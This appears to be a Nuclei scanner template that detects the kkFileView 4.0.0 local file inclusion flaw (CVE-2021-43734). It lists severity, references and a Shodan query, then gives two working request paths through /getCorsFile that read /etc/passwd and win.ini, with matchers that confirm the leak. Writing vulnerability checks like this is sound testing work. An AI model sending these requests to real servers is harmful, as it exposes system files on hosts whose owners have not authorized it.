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id : CVE-2021-43734
info :
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name : kkFileview v4.0.0 - Local File Inclusion
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author : arafatansari
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severity : high
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description : |
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kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.
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impact : |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
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remediation : |
Upgrade to a patched version of kkFileview v4.0.1 or later, or apply the necessary security patches provided by the vendor.
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reference :
- https://github.com/kekingcn/kkFileView/issues/304
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- https://nvd.nist.gov/vuln/detail/CVE-2021-43734
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- https://github.com/20142995/Goby
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ArrestX/--POC
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
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cve-id : CVE-2021-43734
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cwe-id : CWE-22
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epss-score : 0.01491
epss-percentile : 0.85503
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cpe : cpe:2.3:a:keking:kkfileview:4.0.0:*:*:*:*:*:*:*
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metadata :
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verified : true
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max-request : 2
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vendor : keking
product : kkfileview
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shodan-query : http.html:"kkFileView"
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tags : cve2021,cve,kkfileview,traversal,lfi,keking
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http :
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- method : GET
path :
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- "{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd"
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- "{{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini"
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stop-at-first-match : true
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matchers-condition : and
matchers :
- type : regex
regex :
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- "root:.*:0:0:"
- "for 16-bit app support"
condition : or
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- type : status
status :
- 200
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# digest: 4b0a00483046022100a6e3ec97201705f04b5dbb40a063537ca5bfa1325d42d747edb2da45d6d9f51d022100bd70aa78d05d2f6a1e3ea1033983c9a374566efe44d8d930e10297a2b6cacfb1:922c64590222798bb761d5b6d8e72950